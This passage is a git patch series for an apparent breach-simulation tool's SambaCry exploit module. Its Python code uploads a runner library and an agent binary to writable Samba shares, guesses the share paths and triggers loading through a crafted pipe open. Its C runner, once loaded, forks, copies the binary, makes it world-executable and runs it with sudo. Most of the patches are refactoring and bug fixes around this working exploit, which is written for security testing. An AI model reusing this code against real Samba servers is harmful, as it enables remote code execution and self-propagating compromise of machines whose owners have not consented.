== "6") and (samba_version_parts[1] <= "3"): is_vulnerable = True - LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % - (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % + (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) return is_vulnerable @@ -244,7 +239,6 @@ class SambaCryExploiter(HostExploiter): :param smb_client: smb client object :param host: victim Host object :param share: share name - :param monkey_bin_src_path: src path of monkey binary to upload :param depth: current depth of monkey """ tree_id = smb_client.connectTree(share) @@ -305,7 +299,7 @@ class SambaCryExploiter(HostExploiter): try: # the extra / on the beginning is required for the vulnerability - self.openPipe(smb_client, "/" + module_path) + self.open_pipe(smb_client, "/" + module_path) except (impacket.smbconnection.SessionError, SessionError) as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: @@ -321,25 +315,22 @@ class SambaCryExploiter(HostExploiter): :param share_name: Name of the share :return: Array of possible full paths to the module. """ - possible_paths = [] - - for folder_path in self._config.sambacry_folder_paths_to_guess: - for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]: - possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) - return possible_paths + sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess + file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] + return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb") else: - return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): @@ -385,7 +376,7 @@ class SambaCryExploiter(HostExploiter): # In our case, str(FileID) return str(createResponse['FileID']) - def openPipe(self, smb_client, pathName): + def open_pipe(self, smb_client, pathName): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') @@ -415,5 +406,5 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 97ed8cb8b..2e8aa4fa5 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -442,33 +442,47 @@ def get_target_monkey(host): return monkey_path + def get_target_monkey_by_os(is_windows, is_32bit): from control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline(target_host, depth, location=None): - from config import WormConfiguration, GUID +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): cmdline = "" - cmdline += " -p " + GUID - - if target_host.default_tunnel: - cmdline += " -t " + target_host.default_tunnel - if target_host.default_server: - cmdline += " -s " + target_host.default_server - if depth < 0: - depth = 0 - - cmdline += " -d %d" % depth + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth if location is not None: cmdline += " -l %s" % location return cmdline +def build_monkey_commandline(target_host, depth, location=None): + from config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, 'user': user, 'password': password}) + + +def get_binaries_dir_path(): + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 4f65298e0..e34ab7c36 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -7,11 +7,11 @@ #include "sc_monkey_runner.h" #ifdef __x86_64__ - #define ARC_IS_64 + #define ARCH_IS_64 #endif #ifdef _____LP64_____ - #define ARC_IS_64 + #define ARCH_IS_64 #endif #define LINE_MAX_LENGTH (2048) @@ -19,7 +19,7 @@ int samba_init_module(void) { -#ifdef ARC_IS_64 +#ifdef ARCH_IS_64 const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char MONKEY_NAME[] = "monkey64"; const char MONKEY_COPY_NAME[] = "monkey64_2"; @@ -30,23 +30,24 @@ int samba_init_module(void) #endif const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; - const char ACCESS_MODE_STRING[] = "0777"; + const int ACCESS_MODE_STRING = 0777; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; - char modulePathLine[LINE_MAX_LENGTH]; + char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'}; - char* monkeyDirectory; - char* fileNamePointer; - int accessMode; - FILE * pFile; + char* monkeyDirectory = NULL; + char* fileNamePointer = NULL; + int accessMode = 0; + FILE * pFile = NULL; pid_t pid = 0; - int monkeySize; - void* monkeyBinary; + int monkeySize = 0; + void* monkeyBinary = NULL; + struct stat fileStats; pid = fork(); - if (pid != 0) + if (0 != pid) { // error or this is parent - nothing to do but return. return 0; @@ -54,7 +55,7 @@ int samba_init_module(void) // Find fullpath of running module. pFile = fopen("/proc/self/maps", "r"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } @@ -70,7 +71,7 @@ int samba_init_module(void) fclose(pFile); // We can't find ourselves in module list - if (found == 0) + if (0 == found) { return 0; } @@ -78,14 +79,14 @@ int samba_init_module(void) monkeyDirectory = strchr(modulePathLine, '/'); *fileNamePointer = '\0'; - if (chdir(monkeyDirectory) < 0) + if (0 != chdir(monkeyDirectory)) { return 0; } // Write file to indicate we're running pFile = fopen(RUNNER_RESULT_FILENAME, "w"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } @@ -95,44 +96,37 @@ int samba_init_module(void) // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } // Build commandline - strcpy(commandline, RUN_MONKEY_CMD); - strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME); - commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' '; + strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); + strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1); + strncat(commandline, " ", 1); - fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile); + fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fclose(pFile); + if (0 != stat(MONKEY_NAME, &fileStats)) + { + return 0; + } + + monkeySize = (int)fileStats.st_size; + // Copy monkey to new file so we'll own it. pFile = fopen(MONKEY_NAME, "rb"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } - if (0 != fseek (pFile, 0 ,SEEK_END)) - { - return 0; - } - - monkeySize = ftell(pFile); - - if (-1 == monkeySize) - { - return 0; - } - - rewind(pFile); - monkeyBinary = malloc(monkeySize); - if (0 == monkeyBinary) + if (NULL == monkeyBinary) { return 0; } @@ -141,7 +135,7 @@ int samba_init_module(void) fclose(pFile); pFile = fopen(MONKEY_COPY_NAME, "wb"); - if (pFile == NULL) + if (NULL == pFile) { free(monkeyBinary); return 0; @@ -151,8 +145,7 @@ int samba_init_module(void) free(monkeyBinary); // Change monkey permissions - accessMode = strtol(ACCESS_MODE_STRING, 0, 8); - if (chmod(MONKEY_COPY_NAME, accessMode) < 0) + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING)) { return 0; } From 3014763e99c01c542118932f266525a5d6bf11b9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Sep 2017 15:41:36 +0300 Subject: [PATCH 16/19] minor fixes --- chaos_monkey/dropper.py | 2 +- chaos_monkey/exploit/sambacry.py | 2 +- .../monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c | 5 ++--- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index e56cc0a12..6d4133557 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -96,7 +96,7 @@ class MonkeyDrops(object): LOG.warn("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) + self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 68d1ab1a3..22b3a3f2b 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -317,7 +317,7 @@ class SambaCryExploiter(HostExploiter): """ sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] - return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)] + return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index e34ab7c36..e23d08f3a 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -30,7 +30,7 @@ int samba_init_module(void) #endif const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; - const int ACCESS_MODE_STRING = 0777; + const int ACCESS_MODE = 0777; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; @@ -38,7 +38,6 @@ int samba_init_module(void) char commandline[LINE_MAX_LENGTH] = {'\0'}; char* monkeyDirectory = NULL; char* fileNamePointer = NULL; - int accessMode = 0; FILE * pFile = NULL; pid_t pid = 0; int monkeySize = 0; @@ -145,7 +144,7 @@ int samba_init_module(void) free(monkeyBinary); // Change monkey permissions - if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING)) + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE)) { return 0; } From 024ebfcbe6035292a875a5505240e026558fa1c8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Sep 2017 16:36:15 +0300 Subject: [PATCH 17/19] minor fix --- chaos_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index d8889f1c5..cfda27913 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -223,7 +223,7 @@ class Configuration(object): # Timeout (in seconds) for sambacry's trigger to yield results. sambacry_trigger_timeout = 5 # Folder paths to guess share lies inside. - sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] # Shares to not check if they're writable. sambacry_shares_not_to_check = ["IPC$", "print$"] # Name of file which contains the monkey's commandline From e2f9d190222b9adb332e278a44e1e9b59b40b499 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 5 Sep 2017 17:51:26 +0300 Subject: [PATCH 18/19] Fixed invalid JSON --- chaos_monkey/example.conf | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 4612263cb..4396cae34 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -59,18 +59,18 @@ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, "exploit_user_list": [], - "exploit_password_list": [], - sambacry_trigger_timeout: 5, - sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'], - sambacry_shares_not_to_check: ["IPC$", "print$"], - sambacry_commandline_filename: "monkey_commandline.txt", - sambacry_runner_result_filename: "monkey_runner_result", - sambacry_runner_filename_32: "sc_monkey_runner32.so", - sambacry_runner_filename_64: "sc_monkey_runner64.so", - sambacry_monkey_filename_32: "monkey32", - sambacry_monkey_filename_64: "monkey64", - sambacry_monkey_copy_filename_32: "monkey32_2", - sambacry_monkey_copy_filename_64: "monkey64_2", + "exploit_password_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "sambacry_commandline_filename": "monkey_commandline.txt", + "sambacry_runner_result_filename": "monkey_runner_result", + "sambacry_runner_filename_32": "sc_monkey_runner32.so", + "sambacry_runner_filename_64": "sc_monkey_runner64.so", + "sambacry_monkey_filename_32": "monkey32", + "sambacry_monkey_filename_64": "monkey64", + "sambacry_monkey_copy_filename_32": "monkey32_2", + "sambacry_monkey_copy_filename_64": "monkey64_2", "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, From 3889aec97534831d971e1d014d00ac9b59cf8352 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 5 Sep 2017 18:07:05 +0300 Subject: [PATCH 19/19] Add shebang --- chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh index d1cfd5545..900855a6c 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -1,2 +1,3 @@ +#!/usr/bin/env bash gcc -c -Wall -Werror -fpic sc_monkey_runner.c gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o